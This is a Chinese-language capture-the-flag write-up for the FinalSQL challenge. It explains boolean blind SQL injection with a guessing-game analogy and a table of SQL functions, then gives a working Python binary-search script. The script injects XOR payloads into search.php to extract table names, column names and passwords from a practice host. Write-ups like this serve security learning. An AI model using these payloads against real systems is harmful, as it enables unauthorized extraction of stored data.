[极客大挑战 2019]FinalSQL 1
[极客大挑战 2019]FinalSQL 1
这篇主要是考察布尔盲注,而且他很贼,弄了两个输入框,但过滤的东西很多;真正的注入点在search.php传入的参数。说来惭愧,之前就做过布尔盲注的题目,结果又遇到了,一点都记不得了,还是得写个博客记一下。
布尔盲注
页面需要支持对布尔信息的回显,如True返回”Hello“,False返回“Wrong”。
原理
布尔盲注的过程中有点像猜单词的游戏,A心里想一个单词,B不断询问,A只能说‘是’或者‘不是’。
如A想一个单词apple。
B的问题 | A的回答 |
---|---|
第一个字母小于H吗? | 对 |
第一个字母小于D吗? | 对 |
第一个字母小于B吗? | 对 |
至此,B已经知道了第一个字母是A。在这个过程中,B还可以使用二分法,加快得到答案。
代码层面
使用函数
函数名 | 函数作用 |
---|---|
ascii(char a) | 返回'a'的ascii码 |
substr(char *str, int start_pos, int num) | 截取str的start_pos位置开始(包括str[start_pos])num个字符,在布尔注入中一般在循环中这样substr(str, i, 1),用于获取第i位置的字符 |
left(char * str, int num) | 返回字符串str从左起num个字符, 布尔注入中,便需要拼接上一步的结果,不似substr方便 |
length(char *str) | 获取字符串长度,一般在具体开始查询前,先查下字符串有几位 |
使用语句
一般格式如下, 意思是检查目标的第i位是不是n。
1 ^ (ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n)
语句 | 功能拆解 |
---|---|
select columnA from tableA | 目标数据 |
substr((select columnA from tableA), i【循环中的第i位】, 1) | 目标数据的第i位 |
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) | 目标数据的第i位的ascii码 |
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n | 目标数据的第i位的ascii码是不是等于n |
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) > n | 目标数据的第i位的ascii码是不是大于n(二分法) |
这里的1^也可以看情况换成正常的and或者or
本题代码
直接搬得这个哥们的二分代码
import requests
# 使用二分法
url = ''
flag = ''
MaxLen = 250
for i in range(1,MaxLen):# range(1, 11) 从 1 开始到 11,[1, 2, 3, 4, 5, 6, 7, 8, 9, 10] range(0, 30, 5) 步长为 5 [0, 5, 10, 15, 20, 25]
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid)
# payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" %(i,mid)
# payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if 'ERROR' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
看着答案一点点出来还是蛮爽的